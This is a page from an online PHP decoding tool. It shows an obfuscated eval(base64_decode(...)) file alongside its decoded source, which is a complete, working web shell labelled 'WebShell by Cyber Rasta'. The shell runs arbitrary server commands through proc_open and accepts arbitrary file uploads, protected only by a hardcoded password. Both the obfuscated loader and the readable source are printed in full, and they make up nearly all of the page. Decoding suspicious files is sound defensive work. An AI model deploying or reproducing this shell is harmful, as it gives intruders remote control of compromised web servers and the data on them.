Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php eval(base64_decode('CiBnb3RvIHp6UWs3OyB6elFrNzogJHBhc3N3b3JkID0gIlx4MzFcNjJcNjNceDM0..

Decoded Output download


 goto zzQk7; zzQk7: $password = "12345678"; goto T0c0l; QU834: function executeCommand($command) { $descriptorspec = array(0 => array("pipe", "r"), 1 => array("pipe", "w"), 2 => array("pipe", "w")); $process = proc_open($command, $descriptorspec, $pipes, realpath("./"), array()); if (is_resource($process)) { $output = ''; while ($s = fgets($pipes[1])) { $output .= htmlspecialchars($s); } fclose($pipes[0]); fclose($pipes[1]); fclose($pipes[2]); proc_close($process); return $output; } return ''; } goto zKjZu; xGubV: if (isset($_FILES["file"])) { $uploadDirectory = __DIR__ . "/"; if (!is_dir($uploadDirectory)) { mkdir($uploadDirectory, 511, true); } $uploadFile = $uploadDirectory . basename($_FILES["file"]["name"]); if (move_uploaded_file($_FILES["file"]["tmp_name"], $uploadFile)) { echo "<pre>Upload realizado com sucesso " . htmlspecialchars($uploadFile) . "</pre>"; } else { echo "<pre>Falha ao realizar o upload</pre>"; } die; } goto h2gUY; h2gUY: if (isset($_POST["action"]) && $_POST["action"] === "clear") { echo "<script>document.getElementById('output').innerHTML = '';</script>"; die; } goto yqR2R; lw6g1: if (!isset($_SESSION["authenticated"])) { if (isset($_POST["password"]) && $_POST["password"] === $password) { $_SESSION["authenticated"] = true; } else { echo "<form method="POST"><input type="password" name="password"/><input type="submit" value="Login"/></form>"; die; } } goto QU834; T0c0l: session_start(); goto lw6g1; zKjZu: if (isset($_POST["command"])) { echo "<pre><span style='color: cyan;'>" . htmlspecialchars($_POST["command"]) . "</span>
" . executeCommand($_POST["command"]) . "</pre>"; die; } goto xGubV; yqR2R: ?>
<!doctypehtml><html><head><title>WebShell by Cyber Rasta</title><style>body{background-color:#3f3f3f;color:#0f0;font-family:monospace}form{margin:0}input[type=file],input[type=text]{background-color:#3f3f3f;color:#0f0;border:none;width:90%;font-size:1.2em;padding:10px;margin:10px 0}input[type=submit]{background-color:#3f3f3f;color:#0f0;border:none;font-size:1.2em;padding:10px;margin:10px 0;cursor:pointer}#output{margin:10px 0;padding:10px;background-color:#3f3f3f;overflow-y:auto;max-height:500px}</style></head><body><h1>Web Shell by Cyber Rasta</h1><div id="output"></div><form id="commandForm"method="POST"><input name="command"id="commandInput"placeholder="Enter command"autofocus autocomplete="off"> <input type="submit"value="Executar"></form><form id="clearForm"method="POST"><input type="hidden"value="clear"name="action"> <input type="submit"value="Limpar"></form><form id="uploadForm"method="POST"enctype="multipart/form-data"><input type="file"name="file"id="fileInput"> <input type="submit"value="Upload"></form><script>document.getElementById("commandForm").onsubmit=function(){var t=new XMLHttpRequest;t.open("POST","",!0),t.setRequestHeader("Content-Type","application/x-www-form-urlencoded"),t.onreadystatechange=function(){if(4===t.readyState&&200===t.status){var e=document.getElementById("output");document.getElementById("commandInput").value;e.innerHTML+=t.responseText,e.scrollTop=e.scrollHeight,document.getElementById("commandInput").value=""}};var e=document.getElementById("commandInput").value;return t.send("command="+encodeURIComponent(e)),!1},document.getElementById("clearForm").onsubmit=function(){var e=new XMLHttpRequest;return e.open("POST","",!0),e.setRequestHeader("Content-Type","application/x-www-form-urlencoded"),e.onreadystatechange=function(){4===e.readyState&&200===e.status&&(document.getElementById("output").innerHTML="")},e.send("action=clear"),!1},document.getElementById("uploadForm").onsubmit=function(){var e=new FormData(document.getElementById("uploadForm")),t=new XMLHttpRequest;return t.open("POST","",!0),t.onreadystatechange=function(){if(4===t.readyState&&200===t.status){var e=document.getElementById("output");e.innerHTML+=t.responseText,e.scrollTop=e.scrollHeight,document.getElementById("fileInput").value=""}},t.send(e),!1}</script></body></htm

Did this file decode correctly?

Original Code

<?php eval(base64_decode('CiBnb3RvIHp6UWs3OyB6elFrNzogJHBhc3N3b3JkID0gIlx4MzFcNjJcNjNceDM0XDY1XDY2XDY3XDcwIjsgZ290byBUMGMwbDsgUVU4MzQ6IGZ1bmN0aW9uIGV4ZWN1dGVDb21tYW5kKCRjb21tYW5kKSB7ICRkZXNjcmlwdG9yc3BlYyA9IGFycmF5KDAgPT4gYXJyYXkoIlwxNjBceDY5XDE2MFwxNDUiLCAiXHg3MiIpLCAxID0+IGFycmF5KCJceDcwXHg2OVx4NzBceDY1IiwgIlwxNjciKSwgMiA9PiBhcnJheSgiXDE2MFx4NjlcMTYwXHg2NSIsICJcMTY3IikpOyAkcHJvY2VzcyA9IHByb2Nfb3BlbigkY29tbWFuZCwgJGRlc2NyaXB0b3JzcGVjLCAkcGlwZXMsIHJlYWxwYXRoKCJcNTZcNTciKSwgYXJyYXkoKSk7IGlmIChpc19yZXNvdXJjZSgkcHJvY2VzcykpIHsgJG91dHB1dCA9ICcnOyB3aGlsZSAoJHMgPSBmZ2V0cygkcGlwZXNbMV0pKSB7ICRvdXRwdXQgLj0gaHRtbHNwZWNpYWxjaGFycygkcyk7IH0gZmNsb3NlKCRwaXBlc1swXSk7IGZjbG9zZSgkcGlwZXNbMV0pOyBmY2xvc2UoJHBpcGVzWzJdKTsgcHJvY19jbG9zZSgkcHJvY2Vzcyk7IHJldHVybiAkb3V0cHV0OyB9IHJldHVybiAnJzsgfSBnb3RvIHpLalp1OyB4R3ViVjogaWYgKGlzc2V0KCRfRklMRVNbIlx4NjZceDY5XDE1NFwxNDUiXSkpIHsgJHVwbG9hZERpcmVjdG9yeSA9IF9fRElSX18gLiAiXHgyZiI7IGlmICghaXNfZGlyKCR1cGxvYWREaXJlY3RvcnkpKSB7IG1rZGlyKCR1cGxvYWREaXJlY3RvcnksIDUxMSwgdHJ1ZSk7IH0gJHVwbG9hZEZpbGUgPSAkdXBsb2FkRGlyZWN0b3J5IC4gYmFzZW5hbWUoJF9GSUxFU1siXHg2Nlx4NjlceDZjXDE0NSJdWyJcMTU2XDE0MVwxNTVceDY1Il0pOyBpZiAobW92ZV91cGxvYWRlZF9maWxlKCRfRklMRVNbIlx4NjZcMTUxXDE1NFx4NjUiXVsiXDE2NFx4NmRceDcwXHg1Zlx4NmVcMTQxXHg2ZFx4NjUiXSwgJHVwbG9hZEZpbGUpKSB7IGVjaG8gIlx4M2NceDcwXHg3MlwxNDVceDNlXHg1NVx4NzBceDZjXDE1N1x4NjFcMTQ0XHgyMFwxNjJcMTQ1XDE0MVx4NmNceDY5XHg3YVx4NjFcMTQ0XHg2Zlx4MjBcMTQzXDE1N1wxNTVcNDBceDczXDE2NVwxNDNceDY1XHg3M1x4NzNcMTU3XDQwIiAuIGh0bWxzcGVjaWFsY2hhcnMoJHVwbG9hZEZpbGUpIC4gIlw3NFx4MmZceDcwXHg3MlwxNDVcNzYiOyB9IGVsc2UgeyBlY2hvICJceDNjXHg3MFx4NzJcMTQ1XDc2XHg0NlwxNDFcMTU0XHg2OFx4NjFceDIwXDE0MVwxNTdceDIwXDE2MlwxNDVcMTQxXDE1NFx4NjlcMTcyXDE0MVx4NzJceDIwXHg2Zlx4MjBceDc1XHg3MFx4NmNcMTU3XHg2MVwxNDRceDNjXHgyZlwxNjBceDcyXDE0NVw3NiI7IH0gZGllOyB9IGdvdG8gaDJnVVk7IGgyZ1VZOiBpZiAoaXNzZXQoJF9QT1NUWyJcMTQxXHg2M1wxNjRceDY5XHg2ZlwxNTYiXSkgJiYgJF9QT1NUWyJcMTQxXDE0M1wxNjRceDY5XDE1N1x4NmUiXSA9PT0gIlx4NjNceDZjXDE0NVx4NjFcMTYyIikgeyBlY2hvICJcNzRceDczXDE0M1x4NzJcMTUxXHg3MFx4NzRcNzZceDY0XDE1N1x4NjNcMTY1XDE1NVwxNDVceDZlXDE2NFx4MmVceDY3XHg2NVx4NzRcMTA1XDE1NFx4NjVceDZkXDE0NVwxNTZcMTY0XDEwMlwxNzFceDQ5XHg2NFw1MFw0N1wxNTdcMTY1XDE2NFwxNjBceDc1XDE2NFw0N1x4MjlcNTZcMTUxXDE1Nlx4NmVceDY1XDE2MlwxMTBceDU0XDExNVx4NGNceDIwXDc1XDQwXDQ3XHgyN1w3M1w3NFx4MmZceDczXHg2M1wxNjJceDY5XHg3MFwxNjRceDNlIjsgZGllOyB9IGdvdG8geXFSMlI7IGx3NmcxOiBpZiAoIWlzc2V0KCRfU0VTU0lPTlsiXDE0MVwxNjVcMTY0XDE1MFx4NjVcMTU2XHg3NFwxNTFcMTQzXHg2MVwxNjRcMTQ1XDE0NCJdKSkgeyBpZiAoaXNzZXQoJF9QT1NUWyJcMTYwXHg2MVwxNjNcMTYzXHg3N1x4NmZcMTYyXDE0NCJdKSAmJiAkX1BPU1RbIlwxNjBcMTQxXHg3M1x4NzNceDc3XDE1N1wxNjJceDY0Il0gPT09ICRwYXNzd29yZCkgeyAkX1NFU1NJT05bIlx4NjFcMTY1XHg3NFx4NjhceDY1XDE1Nlx4NzRceDY5XHg2M1x4NjFcMTY0XHg2NVwxNDQiXSA9IHRydWU7IH0gZWxzZSB7IGVjaG8gIlw3NFx4NjZcMTU3XDE2MlwxNTVcNDBceDZkXHg2NVwxNjRceDY4XDE1N1wxNDRcNzVceDIyXDEyMFx4NGZcMTIzXDEyNFw0Mlw3Nlw3NFx4NjlcMTU2XHg3MFwxNjVceDc0XHgyMFwxNjRceDc5XHg3MFwxNDVcNzVceDIyXHg3MFwxNDFceDczXHg3M1x4NzdceDZmXHg3Mlx4NjRcNDJcNDBceDZlXHg2MVx4NmRceDY1XDc1XHgyMlwxNjBcMTQxXHg3M1wxNjNceDc3XHg2ZlwxNjJceDY0XDQyXDU3XHgzZVx4M2NcMTUxXDE1NlwxNjBcMTY1XDE2NFw0MFx4NzRcMTcxXDE2MFwxNDVceDNkXDQyXDE2M1wxNjVceDYyXHg2ZFwxNTFceDc0XHgyMlx4MjBceDc2XDE0MVx4NmNcMTY1XDE0NVw3NVw0Mlx4NGNceDZmXDE0N1wxNTFceDZlXHgyMlx4MmZcNzZceDNjXHgyZlx4NjZceDZmXDE2Mlx4NmRceDNlIjsgZGllOyB9IH0gZ290byBRVTgzNDsgVDBjMGw6IHNlc3Npb25fc3RhcnQoKTsgZ290byBsdzZnMTsgektqWnU6IGlmIChpc3NldCgkX1BPU1RbIlwxNDNcMTU3XHg2ZFx4NmRcMTQxXDE1NlwxNDQiXSkpIHsgZWNobyAiXHgzY1x4NzBcMTYyXHg2NVw3Nlx4M2NcMTYzXHg3MFwxNDFcMTU2XDQwXDE2M1x4NzRcMTcxXDE1NFx4NjVcNzVceDI3XDE0M1x4NmZcMTU0XHg2Zlx4NzJceDNhXDQwXHg2M1x4NzlceDYxXDE1Nlx4M2JceDI3XHgzZSIgLiBodG1sc3BlY2lhbGNoYXJzKCRfUE9TVFsiXHg2M1wxNTdcMTU1XDE1NVx4NjFcMTU2XHg2NCJdKSAuICJceDNjXHgyZlx4NzNceDcwXHg2MVwxNTZcNzZcMTIiIC4gZXhlY3V0ZUNvbW1hbmQoJF9QT1NUWyJcMTQzXDE1N1wxNTVceDZkXHg2MVwxNTZceDY0Il0pIC4gIlw3NFx4MmZcMTYwXHg3MlwxNDVcNzYiOyBkaWU7IH0gZ290byB4R3ViVjsgeXFSMlI6ID8+CjwhZG9jdHlwZWh0bWw+PGh0bWw+PGhlYWQ+PHRpdGxlPldlYlNoZWxsIGJ5IEN5YmVyIFJhc3RhPC90aXRsZT48c3R5bGU+Ym9keXtiYWNrZ3JvdW5kLWNvbG9yOiMzZjNmM2Y7Y29sb3I6IzBmMDtmb250LWZhbWlseTptb25vc3BhY2V9Zm9ybXttYXJnaW46MH1pbnB1dFt0eXBlPWZpbGVdLGlucHV0W3R5cGU9dGV4dF17YmFja2dyb3VuZC1jb2xvcjojM2YzZjNmO2NvbG9yOiMwZjA7Ym9yZGVyOm5vbmU7d2lkdGg6OTAlO2ZvbnQtc2l6ZToxLjJlbTtwYWRkaW5nOjEwcHg7bWFyZ2luOjEwcHggMH1pbnB1dFt0eXBlPXN1Ym1pdF17YmFja2dyb3VuZC1jb2xvcjojM2YzZjNmO2NvbG9yOiMwZjA7Ym9yZGVyOm5vbmU7Zm9udC1zaXplOjEuMmVtO3BhZGRpbmc6MTBweDttYXJnaW46MTBweCAwO2N1cnNvcjpwb2ludGVyfSNvdXRwdXR7bWFyZ2luOjEwcHggMDtwYWRkaW5nOjEwcHg7YmFja2dyb3VuZC1jb2xvcjojM2YzZjNmO292ZXJmbG93LXk6YXV0bzttYXgtaGVpZ2h0OjUwMHB4fTwvc3R5bGU+PC9oZWFkPjxib2R5PjxoMT5XZWIgU2hlbGwgYnkgQ3liZXIgUmFzdGE8L2gxPjxkaXYgaWQ9Im91dHB1dCI+PC9kaXY+PGZvcm0gaWQ9ImNvbW1hbmRGb3JtIm1ldGhvZD0iUE9TVCI+PGlucHV0IG5hbWU9ImNvbW1hbmQiaWQ9ImNvbW1hbmRJbnB1dCJwbGFjZWhvbGRlcj0iRW50ZXIgY29tbWFuZCJhdXRvZm9jdXMgYXV0b2NvbXBsZXRlPSJvZmYiPiA8aW5wdXQgdHlwZT0ic3VibWl0InZhbHVlPSJFeGVjdXRhciI+PC9mb3JtPjxmb3JtIGlkPSJjbGVhckZvcm0ibWV0aG9kPSJQT1NUIj48aW5wdXQgdHlwZT0iaGlkZGVuInZhbHVlPSJjbGVhciJuYW1lPSJhY3Rpb24iPiA8aW5wdXQgdHlwZT0ic3VibWl0InZhbHVlPSJMaW1wYXIiPjwvZm9ybT48Zm9ybSBpZD0idXBsb2FkRm9ybSJtZXRob2Q9IlBPU1QiZW5jdHlwZT0ibXVsdGlwYXJ0L2Zvcm0tZGF0YSI+PGlucHV0IHR5cGU9ImZpbGUibmFtZT0iZmlsZSJpZD0iZmlsZUlucHV0Ij4gPGlucHV0IHR5cGU9InN1Ym1pdCJ2YWx1ZT0iVXBsb2FkIj48L2Zvcm0+PHNjcmlwdD5kb2N1bWVudC5nZXRFbGVtZW50QnlJZCgiY29tbWFuZEZvcm0iKS5vbnN1Ym1pdD1mdW5jdGlvbigpe3ZhciB0PW5ldyBYTUxIdHRwUmVxdWVzdDt0Lm9wZW4oIlBPU1QiLCIiLCEwKSx0LnNldFJlcXVlc3RIZWFkZXIoIkNvbnRlbnQtVHlwZSIsImFwcGxpY2F0aW9uL3gtd3d3LWZvcm0tdXJsZW5jb2RlZCIpLHQub25yZWFkeXN0YXRlY2hhbmdlPWZ1bmN0aW9uKCl7aWYoND09PXQucmVhZHlTdGF0ZSYmMjAwPT09dC5zdGF0dXMpe3ZhciBlPWRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJvdXRwdXQiKTtkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgiY29tbWFuZElucHV0IikudmFsdWU7ZS5pbm5lckhUTUwrPXQucmVzcG9uc2VUZXh0LGUuc2Nyb2xsVG9wPWUuc2Nyb2xsSGVpZ2h0LGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJjb21tYW5kSW5wdXQiKS52YWx1ZT0iIn19O3ZhciBlPWRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJjb21tYW5kSW5wdXQiKS52YWx1ZTtyZXR1cm4gdC5zZW5kKCJjb21tYW5kPSIrZW5jb2RlVVJJQ29tcG9uZW50KGUpKSwhMX0sZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoImNsZWFyRm9ybSIpLm9uc3VibWl0PWZ1bmN0aW9uKCl7dmFyIGU9bmV3IFhNTEh0dHBSZXF1ZXN0O3JldHVybiBlLm9wZW4oIlBPU1QiLCIiLCEwKSxlLnNldFJlcXVlc3RIZWFkZXIoIkNvbnRlbnQtVHlwZSIsImFwcGxpY2F0aW9uL3gtd3d3LWZvcm0tdXJsZW5jb2RlZCIpLGUub25yZWFkeXN0YXRlY2hhbmdlPWZ1bmN0aW9uKCl7ND09PWUucmVhZHlTdGF0ZSYmMjAwPT09ZS5zdGF0dXMmJihkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgib3V0cHV0IikuaW5uZXJIVE1MPSIiKX0sZS5zZW5kKCJhY3Rpb249Y2xlYXIiKSwhMX0sZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoInVwbG9hZEZvcm0iKS5vbnN1Ym1pdD1mdW5jdGlvbigpe3ZhciBlPW5ldyBGb3JtRGF0YShkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgidXBsb2FkRm9ybSIpKSx0PW5ldyBYTUxIdHRwUmVxdWVzdDtyZXR1cm4gdC5vcGVuKCJQT1NUIiwiIiwhMCksdC5vbnJlYWR5c3RhdGVjaGFuZ2U9ZnVuY3Rpb24oKXtpZig0PT09dC5yZWFkeVN0YXRlJiYyMDA9PT10LnN0YXR1cyl7dmFyIGU9ZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoIm91dHB1dCIpO2UuaW5uZXJIVE1MKz10LnJlc3BvbnNlVGV4dCxlLnNjcm9sbFRvcD1lLnNjcm9sbEhlaWdodCxkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgiZmlsZUlucHV0IikudmFsdWU9IiJ9fSx0LnNlbmQoZSksITF9PC9zY3JpcHQ+PC9ib2R5PjwvaHRt')); ?>

Function Calls

base64_decode 1

Variables

None

Stats

MD5 71004a37453f305400a964137f27ccd9
Eval Count 1
Decode Time 58 ms